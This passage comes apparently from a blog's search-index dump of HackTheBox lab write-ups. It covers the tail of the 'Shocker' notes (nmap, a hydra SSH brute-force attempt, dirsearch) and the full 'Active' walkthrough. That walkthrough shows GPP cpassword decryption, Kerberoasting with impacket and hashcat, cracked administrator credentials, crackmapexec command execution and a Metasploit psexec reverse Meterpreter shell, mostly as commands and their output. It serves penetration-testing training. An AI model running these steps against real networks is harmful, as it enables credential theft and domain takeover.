class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e0f\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e17\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e08\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003efc\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e7e\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e2c\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e8f\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee9\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e77\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e3a\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e48\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eECDSA\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e\u003cspan class=\"n\"\u003e_\u003c/span\u003e  \u003cspan class=\"mf\"\u003e256\u003c/span\u003e \u003cspan class=\"n\"\u003ee6\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eac\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e27\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea3\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eb5\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea9\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ef1\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e12\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e3c\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e34\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ea5\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e5d\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003e5b\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003eeb\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"mf\"\u003e3d\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003ee9\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eED25519\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eService\u003c/span\u003e \u003cspan class=\"n\"\u003eInfo\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eOS\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eLinux\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003eCPE\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ecpe\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003eo:linux\u003c/span\u003e\u003cspan class=\"err\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003elinux_kernel\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eUsed hydra to brute-force SSH with fastrack.txt; nothing to gain.\u003c/p\u003e\n\u003ch2 id=\"cgi-bin\"\u003e/cgi-bin/\u003c/h2\u003e\n\u003cp\u003eUsing \u003ccode\u003ebinwalk\u003c/code\u003e and \u003ccode\u003efile\u003c/code\u003e, got nothing special\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/jpeg/166008/1594136861077-edc920b1-b5c0-477b-b5a9-71441f8930ed.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003edir searching\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003epython3 dirsearch.py -u http://10.10.10.56/ -e * \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"ge\"\u003e_|. _\u003c/span\u003e \u003cspan class=\"ge\"\u003e_  _\u003c/span\u003e  \u003cspan class=\"ge\"\u003e_  _\u003c/span\u003e \u003cspan class=\"ge\"\u003e_|_\u003c/span\u003e    v0.3.9\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e(_||| \u003cspan class=\"ge\"\u003e_) (/_\u003c/span\u003e(_|| (_| )\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eExtensions:  | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eError Log: /opt/dirsearch/logs/errors-20-07-07_23-26-11.log\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eTarget: http://10.10.10.56/\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eOutput File: /opt/dirsearch/reports/10.10.10.56/20-07-07_23-26-16\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:26:16] Starting: \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:27] 403 -  299B  - /.htaccess-dev\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:27] 403 -  301B  - /.htaccess-local\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:27] 403 -  301B  - /.htaccess-marco\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  298B  - /.htaccessBAK\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  299B  - /.htaccess.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  302B  - /.htaccess.sample\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  299B  - /.htaccess.old\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  300B  - /.htaccess.orig\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  300B  - /.htaccess.save\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  300B  - /.htaccess.bak1\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  298B  - /.htaccessOLD\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  299B  - /.htaccessOLD2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  299B  - /.htpasswd-old\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:28:28] 403 -  297B  - /.httr-oauth\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e[23:34:58] 403 -  294B  - /cgi-bin/\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eafter obtaining these, no progress.\u003c/p\u003e","title":"HackTheBox Notes: Shocker"},{"content":"\n10.10.10.100\nNmap #\tnmap -p- -sC -sV -oA allport.nmap 10.10.10.100 Nmap scan report for 10.10.10.100 Host is up (0.0036s latency). Not shown: 65512 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-27 14:12:30Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open tcpwrapped 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5722/tcp open msrpc Microsoft Windows RPC 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49169/tcp open msrpc Microsoft Windows RPC 49171/tcp open msrpc Microsoft Windows RPC 49180/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: |_clock-skew: 2m57s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-27T14:13:29 |_ start_date: 2020-06-27T12:57:05 Scanning with the enum4linux tool showed that the SMB service was running with open shared directories\n# enum4linux -a 10.10.10.100 ========================================= | Share Enumeration on 10.10.10.100 | ========================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640. Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk SMB1 disabled -- no workgroup available ... [+] Attempting to map shares on 10.10.10.100 Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/ADMIN$\tMapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/C$\tMapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/IPC$\tMapping: OK\tListing: DENIED Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/NETLOGON\tMapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/Replication\tMapping: OK, Listing: OK Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/SYSVOL\tMapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/Users\tMapping: DENIED, Listing: N/A Let\u0026rsquo;s see what files are inside\nsmb -\u0026gt; group.xml # smbmap -H 10.10.10.100 [+] IP: 10.10.10.100:445\tName: 10.10.10.100 Disk Permissions\tComment ---- -----------\t------- ADMIN$ NO ACCESS\tRemote Admin C$ NO ACCESS\tDefault share IPC$ NO ACCESS\tRemote IPC NETLOGON NO ACCESS\tLogon server share Replication READ ONLY\tSYSVOL NO ACCESS\tLogon server share Users NO ACCESS Logged in with an empty password, and it worked. (You can also log in with an empty password this way: smbclient //10.10.10.100/Replication -U %\n# smbclient -H //10.10.10.100/Replication -R -U \u0026#39;\u0026#39; handle_name_resolve_order: WARNING: Ignoring invalid list value \u0026#39;-U\u0026#39; for parameter \u0026#39;name resolve order\u0026#39; Anonymous login successful Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; Found a piece of sensitive information named cpassword\nPassword Cracking: GPP After some searching, it turned out this was a Windows password, just encrypted with AES. However, Microsoft officially published the decryption key here, which makes it possible to recover the original password. The theoretical basis is here.\nHere we use the script gpprefdecrypt.py to decrypt it (of course, Kali\u0026rsquo;s built-in gpp-decrypt works too\n# python Gpprefdecrypt.py \u0026#39;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ\u0026#39; GPPstillStandingStrong2k18 At this point we have obtained a set of user credentials SVC_TGS : GPPstillStandingStrong2k18, and the domain name is active.htb\nSince ports 5985/5986 are not open on the target machine, evil-rm cannot be used for validation. We can use the smb_login module in msf to verify whether this credential is valid.\nHowever, here I use smbclient to log in to the shared folder and grab user.txt\n# smbclient //10.10.10.100/Users -U SVC_TGS%GPPstillStandingStrong2k18 In addition, cme [crackmapexec], a tool commonly used in Windows domain penetration testing, can also log in and execute commands (command execution requires SYSTEM privileges), as shown in the figure\nLog in\n# crackmapexec smb 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18 SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) SMB 10.10.10.100 445 DC [+] active.htb\\SVC_TGS:GPPstillStandingStrong2k18 Here comes the question: how do we get a user shell?\nTried msf\u0026rsquo;s windows/smb/psexec module, but it failed because the module requires administrator privileges (explained below)\nThis module uses a valid administrator username and password (or\npassword hash) to execute an arbitrary payload.\nAfter all these attempts came up empty, I had no choice but to look for other approaches\nPrivilege Escalation: Kerberoasting For a detailed explanation of Kerberoasting, 3gstudent has already covered it well here. In short, this technique has the following key points:\nAny host in the domain can query SPNs. Therefore, when exploiting, consider the following two relationships The SPN is registered under a domain user account (Users) =\u0026gt; administrator is the default user The domain user account has high privileges =\u0026gt; administrator privileges are of course high Any user in the domain can request a TGS from any service in the domain =\u0026gt; here we go from SVC_TGS to administrator In step 4 of the Kerberos authentication process, the user receives a TGS (service ticket) generated by encrypting with the NTLM hash of the target service instance, using the RC4-HMAC encryption algorithm. There are ready-made cracking tools (hashcat). Those interested in learning more about this algorithm can find more information in rfc4757:RC4-HMAC. Once we obtain this TGS, we can use a password dictionary to simulate the encryption process, generating TGS candidates one by one for comparison, to try to brute-force the password. Also, according to the ATT\u0026amp;CK framework\u0026rsquo;s description, this attack technique can be performed in the following ways\nKerberoasting, Technique T1208 - Enterprise | MITRE ATT\u0026amp;CK®\nhttps://attack.mitre.org/techniques/T1208/\nName Description Empire Empire uses PowerSploit\u0026rsquo;s Invoke-Kerberoast to request service tickets and return crackable ticket hashes.[10] Impacket Impacket modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.[9] PowerSploit PowerSploit\u0026rsquo;s Invoke-Kerberoast module can request service tickets and return crackable ticket hashes.[8][5] Here we use the GetUserSPNs script from the impacket suite, run\n# impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS -request :/usr/share/doc/python3-impacket/examples/GetUserSPNs.py:438: SyntaxWarning: \u0026#34;is\u0026#34; with a literal. Did you mean \u0026#34;==\u0026#34;? if userDomain is \u0026#39;\u0026#39;: Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Password: ServicePrincipalName Name MemberOf PasswordLastSet LastLogon -------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 03:06:40.351723 2018-07-31 01:17:40.656520 $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$22e12dfea4b9454f2eb6bc1532ce33da$71a6ca7735386847e09dba2becbc27c296c0cc3d5bf52d4a9ced6504fb07d4cfede8199a9eee2190c24f5033c2c34408dfbc6cbf857ae55681913eaae1c8cc05699beb165b6946483150410fff3cd7e817bf45ba99825b10b1e5a9965b1b2aff022b469de01e7d6a28ae728bf46a43da29e78133d0abdd3aa3da7059385d1a331047f730455d6153e391303436821a317d2c1fa610464f92e3a9374ba87520b44a00b8d01a0db658c91a46d611bd1b1ac14a2a99b6ad296e07a845c5eebda3e82e36075d4bea9ca98e9e6c1a375510ac53ff1d9334851370cbb25d3b2941231ef4ac08c76b5c6d733927a6664e5db73f8b6681a10e252ee99d07049fd2646969bb40b7cec54349ee024403a8112dc90b8d148d3cdbe19a8141a3b6724ba6107bc112aab92e9b7a6f4123566c425082e84e5937defec68499ddc827fb3298c9057cb919fff3436f28250d359a6d65e21094932a36… ## Parameter explanation -dc-ip the IP address of the domain controller; here the target machine is the domain controller active.htb/SVC_TGS domain name + username -request\trequest the user\u0026#39;s TGS and print it in a format recognizable by JtR or hashcat (disabled by default) -outputfile\toutput to a file in JtR/hashcat format We obtained an administrator hash, decrypt it with hashcat\n# hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force -o res.txt # cat res.txt ...master1968(some information omitted) Log in to SMB to grab root.txt\nsmbclient //10.10.10.100/Users -U active.htb\\\\SVC_TGS%GPPstillStandingStrong2k18 Or use cme (i.e., CrackMapExec), which foreigners favor\n# crackmapexec smb 10.10.10.100 -u Administrator -p \u0026#34;Ticketmaster1968\u0026#34; --pass-pol //view the domain password policy --pass-pol SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) SMB 10.10.10.100 445 DC [+] active.htb\\Administrator:Ticketmaster1968 (Pwn3d!) # crackmapexec smb 10.10.10.100 -u Administrator -p \u0026#34;Ticketmaster1968\u0026#34; -x whoami //execute a command -x SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False) SMB 10.10.10.100 445 DC [+] active.htb\\Administrator:Ticketmaster1968 (Pwn3d!) SMB 10.10.10.100 445 DC [+] Executed command SMB 10.10.10.100 445 DC active\\administrator You can also use msf\u0026rsquo;s psexec to get a shell, which requires administrator privileges\nuse windows/smb/psexec //just enter the username and password, for example //... msf5 exploit(windows/smb/psexec) \u0026gt; run [*] Started reverse TCP handler on 10.10.16.122:4444 [*] 10.10.10.100:445 - Connecting to the server... [*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445 as user \u0026#39;Administrator\u0026#39;... [*] 10.10.10.100:445 - Selecting PowerShell target [*] 10.10.10.100:445 - Executing the payload... [+] 10.10.10.100:445 - Service start timed out, OK if running a command or non-service executable... [*] Sending stage (176195 bytes) to 10.10.10.100 [*] Meterpreter session 1 opened (10.10.16.122:4444 -\u0026gt; 10.10.10.100:50831) at 2020-06-28 01:59:35 +0800 Appendix How to bulk-download files over SMB Original link\nsmbclient \u0026#39;\\\\server\\share\u0026#39; mask \u0026#34;\u0026#34; recurse ON prompt OFF cd \u0026#39;path\\to\\remote\\dir\u0026#39; lcd \u0026#39;~/path/to/download/to/\u0026#39; mget * smbclient \u0026#39;\\\\server\\share\u0026#39; -N -c \u0026#39;prompt OFF;recurse ON;cd \u0026#39;path\\to\\directory\\\u0026#39;;lcd \u0026#39;~/path/to/download/to/\u0026#39;;mget *\u0026#39; Recursively list SMB directories # smbmap -H 10.10.10.100 -R -u \u0026#39;\u0026#39; [+] IP: 10.10.10.100:445\tName: 10.10.10.100 Disk Permissions\tComment ---- -----------\t------- ADMIN$ NO ACCESS\tRemote Admin C$ NO ACCESS\tDefault share IPC$ NO ACCESS\tRemote IPC NETLOGON NO ACCESS\tLogon server share Replication READ ONLY\t.\\Replication\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tactive.htb .\\Replication\\active.htb\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tDfsrPrivate dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tPolicies dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tscripts .\\Replication\\active.htb\\DfsrPrivate\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tConflictAndDeleted dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tDeleted dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tInstalling .\\Replication\\active.htb\\Policies\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t{31B2F340-016D-11D2-945F-00C04FB984F9} dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t{6AC1786C-016F-11D2-945F-00C04fB984F9} .\\Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. fr--r--r-- 23 Sat Jul 21 18:38:11 2018\tGPT.INI dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tGroup Policy dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tMACHINE dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tUSER .\\Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\Group Policy\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. fr--r--r-- 119 Sat Jul 21 18:38:11 2018\tGPE.INI .\\Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tMicrosoft dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tPreferences fr--r--r-- 2788 Sat Jul 21 18:38:11 2018\tRegistry.pol .\\Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tWindows NT .\\Replication\\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Preferences\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tGroups .\\Replication\\active.htb\\Policies\\{6AC1786C-016F-11D2-945F-00C04fB984F9}\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. fr--r--r-- 22 Sat Jul 21 18:38:11 2018\tGPT.INI dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tMACHINE dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tUSER .\\Replication\\active.htb\\Policies\\{6AC1786C-016F-11D2-945F-00C04fB984F9}\\MACHINE\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tMicrosoft .\\Replication\\active.htb\\Policies\\{6AC1786C-016F-11D2-945F-00C04fB984F9}\\MACHINE\\Microsoft\\* dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\t.. dr--r--r-- 0 Sat Jul 21 18:37:44 2018\tWindows NT SYSVOL NO ACCESS\tLogon server share Users NO ACCESS\tCracking passwords with hashcat Take this case as an example\nhashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force 13100 Kerberos 5 TGS-REP etype 23 ——https://hashcat.net/wiki/doku.php?id=example_hashes\n-a 0 means using the dictionary cracking mode; -m 0 means the Hash Type; checking the table here, the corresponding number is 13100; --force means ignoring errors at runtime reference walkthrough:https://0xdf.gitlab.io/2018/12/08/htb-active.html Domain Controller Privilege Escalation Collection - Xianzhi Community hashcat\u0026rsquo;s various formats https://hashcat.net/wiki/doku.php?id=example_hashes Introduction to using CME https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html How-To-Attack-Kerberos-101: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html Finding Passwords in SYSVOL \u0026amp; Exploiting Group Policy Preferences – Active Directory Security https://www.lifewire.com/how-to-find-a-users-security-identifier-sid-in-windows-2625149 https://3gstudent.github.io/3gstudent.github.io/域渗透-Kerberoasting/ ","permalink":"https://www.unc.la/en/posts/penetration/wmcm5q/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" referrerpolicy=\"no-referrer\" src=\"https://cdn.nlark.com/yuque/0/2020/png/166008/1593282512907-313f899a-aeaf-4fd0-ba16-87cc06dacf44.png\"\u003e\u003c/p\u003e\n\u003cp\u003e10.10.10.100\u003c/p\u003e\n\u003ch1 id=\"nmap\"\u003eNmap\u003c/h1\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e#\tnmap -p- -sC -sV -oA allport.nmap 10.10.10.100\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eNmap\u003c/span\u003e \u003cspan class=\"n\"\u003escan\u003c/span\u003e \u003cspan class=\"n\"\u003ereport\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"mf\"\u003e10.10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e100\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eHost\u003c/span\u003e \u003cspan class=\"n\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eup\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"py\"\u003e0036s\u003c/span\u003e \u003cspan class=\"n\"\u003elatency\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 